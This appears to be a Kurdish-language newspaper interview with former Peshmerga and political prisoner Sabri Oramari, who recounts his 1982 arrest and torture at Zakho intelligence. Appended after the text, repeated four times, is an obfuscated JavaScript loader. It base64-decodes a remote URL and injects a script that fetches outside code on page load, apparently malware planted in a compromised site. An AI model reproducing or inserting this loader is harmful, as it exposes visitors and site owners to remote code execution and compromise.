ئەو سەرەدەریا ل هەوالگێریا زاخۆ ل گەل مە دكر خوە مرۆڤ وێ ل گەل گیانەوەران ژی ناكەت
دیدار، سالار محەمەد دۆسكی:
1-3
پشتی ماوێ شەش سال و حەفت هەیڤان مایە دزیندانێ دا و هەمی جورێن ئەشكەنجدانێ ل گەل هاتینەكرن، پشتی هەوا ئەنفالێن رەش ب لێبورینەكا گشتی هاتە ئازادكرن.
سەبری سالح شەمسەدین ئورەماری، د دیدارەكێ دا ل گەل بەرپەرێ دیرۆكێ رۆژناما ئەڤرۆ دیاركر، كو ل سالا 1980 چەكێ شەرەفێ هەلگرتیە و بوویە پێشمەرگە، گۆت: ی ببمە پێشمەرگە ل دەڤەرا شێلادزێ ئەم رێكخستیێن نهێنی بووین، ل گەل (عصمەت نێروەیی) وی دەمی مالا مە ل شێلادزێ بوو، وی دەمی وەك رێكخستیێن نهێنی مە كارێن پارتایەتی ئەنجامدان وەك بەلاڤەكرنا بەلاڤوكان و رۆژناما خەباتا و رێكخستنا قوتابیان وەك تەخەكا گەنج وی دەمی ناڤێ رێكخراوا مە (لینك) بوو، دەمێ رێكخراوا مە ئاشكرا بووی بەرپرسێ رێكخراوا مە كاك (عصمەت) گەهشتە ناڤ رێزێن پێشمەرگەی و گۆت هوون نەهێن، وی دەمی ئەم گەلەك ژ خوە ترسیاین چونكە حزبا بەعس هار ب بوو، و هەر چەند كەسەكێن رێكخستی بنكەك بوون، و ئەم شەش كەس بووین و سالا 1980 چووینە (نێروا سیتو) ماوەكی ئەم مای، مۆەێ مە بناڤێ (محسن ئاغا) ئاغایێ ئورەماریایە، هات و گۆت دێ چمە ئیرانێ و مە ژی گۆت دێ ل گەل تەهێین، برایێ من ل گوندی ما چونكە خێزان ل گەل بوو، ئەز ل گەل چووم و كەسەكێ دی بناڤێ (حجی ئیبراهیم حەیدەر ئورەماری) و (رەمەزان) ل گەل (محسن ئاغا) چووینە ئیرانێ، وی دەمی سالا 1982 هەیڤا ئەیارێ بوو و ئەم سێ هەیڤا ماینە ل (زێوە)، دوڤدا چووینە دەف سەرۆك (مەسعود بارزانی) ل گەل (حەمید بیری) مە ژێ خواست ببینە پێشمەرگە و سەرۆكی پێشوازی ل مە كر، و گۆت دێ چەكی دەینە هەوە بەلێ دڤێت هوون هژمارەك بن دا پێكڤەبن، و دوڤدا مە چەك وەرگرت و هاتینە (شێخانوكێ)، و دوڤدا مە ژ ەرۆك مسعد بارزانی خواست رێكێ بدەتە مە بچینە ئیراقێ، و جەنابێ وی رێگر نەبوو و گۆت هەرنە لژنا (بەرخودان)، دوڤدا هاتینە (نێروە) و كاك (حەمید) ژی هات و بارەگایێ خوە دانا وێ دەڤەرێ، و پشتی ماوەكی هندەك كەس هاتن و خواستن ببنە پێشمەرگە و مە ژی گۆتێ نوكە دەلیڤە نینە، و هەتا چەك بوومە دهێت و ئەم ل گەل ئەوا (14) كەسان هاتینە شێلادزێ، و مە ژ رویباری دەربازكرن و ئەم ب ژڤان بووین بچینە گەلیێ بالندا، وێرێ حوكمەتێ هاڤێتە مە و بریندار بووم و ئەم هاتینە گوندەكی دبێژنێ (سیتە) دكەڤیتە بنێ گەلی ئێك ل وێرێ هەبوو خودێ ژێ رازی بیت، دگۆتنێ (نەسۆ) وی دەرمانكرم و ئەم ڤەگوهاشتیە شێلادزێ و هندەك مرۆڤێن مە ل وێرێ بوون، چونكە من گۆت ئەز نەشێم ب پیا بچم دا ئەو مرۆڤێن مە هاریكاریا مە بكەن و مە دەرباز بكەن، و ئەم ماینە وێرێ و رۆژا دوڤدا كەسەك ب سەر مەهلبوو و ئەم داینە گرتن، و ئەو مرۆڤێ ئەم گرتین هەر مرۆڤێ مە بخوە بوو، و هێزەكا تایبەت ژ (سەرسەنكێ، بامەرنێ، ئامێدیێ) بۆ دەستەسەركرنا مە هات و سێ لیوایێن هێزا تایبەت ئینا بوون، و ئەز و حەجی هاتینە دەستەسەركرن و ئەم ل ژوور بووین و رۆژ بوو و مە دیت تڤەنگێن خوە دپەنجەر و دەرگەها دا ئینانە مە و مە نەشیا چ بكەین، و تڤەنگێن مە دناڤا نڤینان دا بوون، ژ بەر خەلكی و گۆتن كا چەكێ هەوە ؟ ە گۆتێ ئەڤە، ئەم ئیناینە ئامێدیێ و ئەو كەسێ ئەم ئاشكرا كرین مە دیت ترۆمبێلەكا لەشكری یا جێب یا دچیت و ئەو كەسێ دسینگێ جێبێ دا بوو، و پێشتر مە شكا خوە برە هندەكێن دی و دوڤدا مە دیت و من گۆتە هەڤالێ خوە ئەڤی مرۆڤی ئەم ئاشكراكرینە.
سەبری ئورەماری، زیندانیێ سیاسی و پێشمەرگەیێ شۆرەشا گولانا پێشكەفتنخواز زێدەتر گۆت: پشتی هاتینە ئامێدیێ و بورینا شەڤەكێ وێ شەڤێ مە هزر ل رەڤینێ كر، چونكە ل كەلێ و تایبەت ئەو جهێ ئەم تێدا هاتینە دەستەسەركرن، جهێ ئەم چووینێ دەستئاڤێ لایێ دەرڤە گیفك بوو و گەلەك بلند ب بوو و هەتا گەهشتیە بەرسینگێ كەڤری، من گۆتە هڤالێ خوە ئەف شەڤە ئەگەر بۆ درەنگ دێ داخواز كەین بچینە دەستئاڤێ و دێ پێكڤە پالەكێ ل زێرەڤانی دەین و پێكڤە دێ خوە دكەڤری دا هاڤێین، و هەی هات و هەی چوو، و ئەوی گۆت بلا، بۆ شەف ئەم ماینە دخەو دا و ئەم هشیار نەبووین هەتا بوویە سپێدێ، و ئەم ژ خەو رابووین ئێكسەر هاڤێتنە ترۆمبێلەكێ دا و ئێكسەر ئەم ئیناینە هەوالگێریا باژێرێ زاخۆ، وی دەمی ل دەرگەهێ گەلیێ زاخۆ و نێزیكی سالەكێ ماینە ل هەوالگێری یا زاخۆ، و هەمی جورێن ئەشكەنجەدانێ ل گەل مە بكارتینان و ئەو قوتان و ئەشكەنجەدان هەمی بێ ئەگەر بوو، چونكە ئەم ب كلاشینكوف و دەمانجە و ساجور فە هاتبووینە دستەەركرن، و كەسەكێ چ نە دگۆتێ و ملازمك هەبوو بناڤێ (محەمەد شەریف) كورد بوو خەلكێ پارێزگەها دهۆك بوو، و ئەگەر ئەو ل مە نەببا خودان ئەوێن دی دا مە ب قوتانێ كوژن، و دەستێن مە ژ پشتێ ڤە گرێدابوون ل گەل چاڤێن مە و هەر كەسەكێ هاتبا دا مە قوتیت و ب پیاڤە چیتە سەر لەشێ مە و دا دەرباز بیت، و جارەكێ من دیت ێك هات و دەرسوكا من سەرێ من كر و كرە ستویێ من و هلاویستم و بتنێ سەرێ تلێن من دگەهشتنە عەردی و من هزر كر ئەڤە سێدارەدانە و دووماهی یە و هەڤالێ من بەری من بر و من هزر كر ئەو بر كوشت و دورا من و دەمێ هلاویستم و كەسەكێ دی هات و ئاخفتنێن كرێت گۆتنە من و سەركردێن مللەتێ مە و ئەو كەس كورد بوو و ئەف ئاخفتنە ب كوردی گۆتن، و دوڤدا كەسەك هات ژ هەلاویستنێ ڤەكرم و پالێ من دا دیوارەكی و گۆت خو راستە و ئەڤجا من خوە نەدیت ب پێنا و بوكسا دانا سینگێ من و هەستیێن سینگێ من هەمی شكەستن، و دەف و دەف كەتمە عەردی و پشتی ماوەكێ درێژ من ئاگەه ژ خوە هەبوو، ئێكی گۆتێ كا سەبری؟ گۆتێ وورەێ یە گۆتنێ هەرن بینین و گۆت كێ قوتایە؟ (ملازم محەمەد شەریف) ئەوێ پێشتر من ئاماژە پێكری ئەو بوو گەف ل ئەوا كەساكرن، و گۆت دێ هەوە قوتم و ریسكەم پێش چاڤێن ئەڤان زیندانیان بۆچی هووین دقوتن ؟، ئەڤجا بۆ لاڤ لاڤا ئەوێن ئەم قوتاین، وی مولازمی گۆتێ دئاشكرانە ب چەك ڤە هاتینە دەستەسەركرن و هەر هەمی تشتێ خوە گۆتینە ئەڤجا قوتان بوو چیە؟ وی مولازمی دەستێن من ڤەكرن، و گۆت هەرە دەست و چاڤێن خوە بشوو وەرە روونە خوار، گۆت نەترسە و تشتەك نینە و هەڤالێ تە حجی ژی ڤێرە یە و واستەك بووە هاتیە گرتن، و ب ئانەهی یا خودێ دێ هێنە ئازادكرن و پیچەك دلێ مە خو بوو، و دیسا گۆت (ەعفەر بێسفكی) دوڤ هەوەرا هاتیە و رەنگە هوون بهێنە ئازادكرن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
